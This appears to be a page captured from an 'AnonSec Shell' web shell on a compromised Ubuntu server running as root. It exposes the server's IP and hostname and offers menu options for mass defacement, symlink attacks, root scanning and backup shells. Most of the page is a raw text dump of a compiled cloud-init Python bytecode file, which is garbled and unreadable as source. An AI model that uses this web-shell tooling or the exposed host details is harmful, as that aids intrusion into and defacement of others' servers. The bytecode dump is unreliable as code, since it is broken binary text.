AnonSec Shell
Server IP : 209.38.156.173  /  Your IP : 216.73.216.122   [ Reverse IP ]
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux lakekumayuhotel 5.15.0-136-generic #147-Ubuntu SMP Sat Mar 15 15:53:30 UTC 2025 x86_64
User : root ( 0)
PHP Version : 8.1.2-1ubuntu2.22
Disable Function : NONE
Domains : 2 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python3/dist-packages/cloudinit/net/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /lib/python3/dist-packages/cloudinit/net/__pycache__/activators.cpython-310.pyc
o

x[h�.�	@s�UddlZddlmZmZddlmZddlmZmZm	Z	m
Z
mZmZm
Z
ddlmZmZddlmZmZmZmZddlmZddlmZe�e�ZGd	d
�d
e�Z	d)ded
e de!de!fdd�Z"	d)dede!de!fdd�Z#Gdd�de�Z$Gdd�de$�Z%Gdd�de$�Z&Gdd�de$�Z'Gdd�de$�Z(Gdd �d e$�Z)gd!�Z*e%e(e'e)e&d!�Z+ee ee$fe,d"<d#e
e d$e
e dfdeee$fd%d&�Z-	d*d#ee
e d$ee dee$fd'd(�Z.dS)+�N)�ABC�abstractmethod)�partial)�Callable�Dict�Iterable�List�Optional�Type�Union)�subp�util)�eni�netplan�network_manager�networkd)�Iproute2)�NetworkStatec@seZdZdS)�NoActivatorExceptionN)�__name__�
__module__�__qualname__�rr�:/usr/lib/python3/dist-packages/cloudinit/net/activators.pyrsrT�cmd�device_name�warn_on_stderr�returncCstttj|�|�S)z2Attempt to alter an interface using a command list)�_alter_interface_callablerr)rrrrrr�_alter_interfacesr�callablec
Cslz|�\}}t|�r|rtjntj}|d|�WdStjy5}zt�td|j�WYd}~dSd}~ww)z�Attempt to alter an interface using a callable

    this function standardizes logging and response to failure for
    various activators
    zReceived stderr output: %sTz#Running interface command %s failedNF)	�len�LOG�warning�debugr�ProcessExecutionErrorr
�logexcr)r r�_out�err�
log_stderr�errrrs

��rc@s�eZdZeeddeedefdd���Zeededefdd���Z	eededefd	d
���Z
edeedefdd
��Z
ededefdd��Zeddd��ZdS)�NetworkActivatorN�targetrcC�t��)z>Return True if activator is available, otherwise return False.��NotImplementedError�r,rrr�	available.szNetworkActivator.availablercCr-)zWBring up interface.

        Return True is successful, otherwise return False
        r.�rrrr�bring_up_interface4�z#NetworkActivator.bring_up_interfacecCr-)zYBring down interface.

        Return True is successful, otherwise return False
        r.r2rrr�bring_down_interface=r4z%NetworkActivator.bring_down_interface�device_namescst�fdd�|D��S)zjBring up specified list of interfaces.

        Return True is successful, otherwise return False
        c3��|]}��|�VqdS�N�r3��.0�device��clsrr�	<genexpr>L��z7NetworkActivator.bring_up_interfaces.<locals>.<genexpr>)�all)r>r6rr=r�bring_up_interfacesFsz$NetworkActivator.bring_up_interfaces�
network_statecCs|�dd�|��D��S)z\Bring up all interfaces.

        Return True is successful, otherwise return False
        cSsg|]}|d�qS)�namer�r;�irrr�
<listcomp>U�z<NetworkActivator.bring_up_all_interfaces.<locals>.<listcomp>)rB�iter_interfaces)r>rCrrr�bring_up_all_interfacesNs�z(NetworkActivator.bring_up_all_interfacescCr-)zWait for network to come up.r.rrrr�wait_for_networkXsz!NetworkActivator.wait_for_networkr8�rN)rrr�staticmethodrr	�str�boolr1r3r5�classmethodrrBrrJrKrrrrr+-s 	r+c@sTeZdZeddeedefdd��Zededefdd��Zededefd	d
��Z	dS)�IfUpDownActivatorNr,rcC�tj|d�S�z3Return true if ifupdown can be used on this system.r0)rr1r0rrrr1c�zIfUpDownActivator.availablercC�d|g}t||�S)�bBring up interface using ifup.

        Return True is successful, otherwise return False
        �ifup�r�rrrrrr3h�
z$IfUpDownActivator.bring_up_interfacecCrU)rV�ifdownrXrYrrrr5qrZz&IfUpDownActivator.bring_down_interfacer8)
rrrrMr	rNrOr1r3r5rrrrrQ^srQc@sLeZdZed
defdd��Zededefdd��Zededefdd	��ZdS)�IfConfigActivatorNrcCsd}dg}ttj|||d��S)z3Return true if ifconfig can be used on this system.�ifconfigz/sbin)�searchr,)rOr�which)r,�expectedr^rrrr1|szIfConfigActivator.availablercC�d|dg}t||�S)zoBring up interface using ifconfig <dev> up.

        Return True is successful, otherwise return False
        r]�uprXrYrrrr3��

z$IfConfigActivator.bring_up_interfacecCra)zqBring up interface using ifconfig <dev> down.

        Return True is successful, otherwise return False
        r]�downrXrYrrrr5�rcz&IfConfigActivator.bring_down_interfacer8)	rrrrMrOr1rNr3r5rrrrr\{sr\c@sfeZdZed
defdd��Zededefdd��Zededefdd	��Ze	d
e
edefdd��ZdS)�NetworkManagerActivatorNrcCrR)z9Return true if NetworkManager can be used on this system.r0)rr1r0rrrr1�rTz!NetworkManagerActivator.availablercCsvddlm}||�}|durt�d�dSddd|g}t||�r(ddd	d
|g}ntgd�|�ddd	d|g}t||�S)
zdBring up connection using nmcli.

        Return True is successful, otherwise return False
        r)�
conn_filenameNzFUnable to find an interface config file. Unable to bring up interface.F�nmcli�
connection�loadrb�filename)rgrh�reload�ifname)�cloudinit.net.network_managerrfr"r#r)rrfrjrrrrr3�s�

z*NetworkManagerActivator.bring_up_interfacecCsddd|g}t||�S)zeBring down interface using nmcli.

        Return True is successful, otherwise return False
        rgr<�
disconnectrXrYrrrr5�s
z,NetworkManagerActivator.bring_down_interfacer6csLt�gd��j��}d|krt�d|�tgd�d�o%t�fdd�|D��S)z9Activate network

        Return True on success
        )�	systemctl�showz--property=SubState�NetworkManager.servicezSubState=runningz:Expected NetworkManager SubState=running, but detected: %s)roztry-reload-or-restartrqrAc3r7r8r9r:r=rrr?�r@z>NetworkManagerActivator.bring_up_interfaces.<locals>.<genexpr>)r�stdout�rstripr"r#rrA)r>r6�staterr=rrB�s �����z+NetworkManagerActivator.bring_up_interfacesr8)rrrrMrOr1rNr3r5rPrrBrrrrre�srec@s�eZdZddgZeddefdd��Zededefdd	��Zed
e	edefdd��Z
ed
edefdd��Zededefdd��Z
eddd��ZdS)�NetplanActivatorr�applyNrcCrR)z2Return true if netplan can be used on this system.r0)rr1r0rrrr1�rTzNetplanActivator.availablercC�t�d�ttjddd�S��YApply netplan config.

        Return True is successful, otherwise return False
        zBCalling 'netplan apply' rather than altering individual interfacesrAF�r�r"r$rru�NETPLAN_CMDr2rrrr3����z#NetplanActivator.bring_up_interfacer6cCrwrxr{)r6rrrrB�r}z$NetplanActivator.bring_up_interfacesrCcCsttjddd�S)ryrAFrz)rrur|)rCrrrrJ�s�z(NetplanActivator.bring_up_all_interfacescCrwrxr{r2rrrr5r}z%NetplanActivator.bring_down_interfacecCs"t��rt�d�dSt��dS)z:On networkd systems, wait for systemd-networkd-wait-onlinez1NetworkManager is enabled, skipping networkd waitN)rr1r"r$�NetworkdActivatorrKrrrrrKs
z!NetplanActivator.wait_for_networkr8rL)rrrr|rMrOr1rNr3rrBrrJr5rKrrrrru�s

	
ruc@speZdZeddefdd��Zededefdd��Zededefd	d
��Z	ededefdd��Z
edd
d��ZdS)r~NrcCrRrS)rr1r0rrrr1rTzNetworkdActivator.availablercC�tttj|��S��1Return True is successful, otherwise return False)rrr�link_upr2rrrr3"�
�z$NetworkdActivator.bring_up_interfacerCcCsgd�}t|d�S)r�)ro�restartzsystemd-networkdzsystemd-resolvedrArX)rCrrrrrJ)s
z)NetworkdActivator.bring_up_all_interfacescCrr�)rrr�	link_downr2rrrr5/r�z&NetworkdActivator.bring_down_interfacecCst�gd��dS)z&Wait for systemd-networkd-wait-online.)ro�startz$systemd-networkd-wait-online.serviceN)rrrrrrK6s�z"NetworkdActivator.wait_for_networkr8rL)rrrrMrOr1rNr3rrJr5rKrrrrr~sr~)rrznetwork-managerrr]�NAME_TO_ACTIVATOR�priorityr,csFdd�|D�}|rtd|����dd�|D�}t�fdd�|D�d�S)zEReturns the first available activator from the priority list or None.cSsg|]}|tvr|�qSr)�DEFAULT_PRIORITYrErrrrGUsz$search_activator.<locals>.<listcomp>z.Unknown activators provided in priority list: cSsg|]}t|�qSr)r�)r;rDrrrrGZrHc3s�|]
}|���r|VqdSr8)r1)r;�
activator_clsr0rrr?\s��
�z#search_activator.<locals>.<genexpr>N)�
ValueError�next)r�r,�unknown�activator_classesrr0r�search_activatorQs�
��r�cCsZ|durt}t||�}|s$|r|dkrd|��nd}td|�d|����t�d||�|S)N�/z in target=�z%No available network activators foundz. Searched through list: z.Using selected activator: %s from priority: %s)r�r�rr"r$)r�r,�selected�tmsgrrr�select_activatores
���r�)T)NN)/�logging�abcrr�	functoolsr�typingrrrrr	r
r�	cloudinitrr
�
cloudinit.netrrrr�cloudinit.net.netops.iproute2r�cloudinit.net.network_stater�	getLoggerrr"�	Exceptionr�listrNrOrrr+rQr\rerur~r�r��__annotations__r�r�rrrr�<module>sp
$
����
����
�1@F$	�	�
�

��
���

Anon7 - 2022
AnonSec Team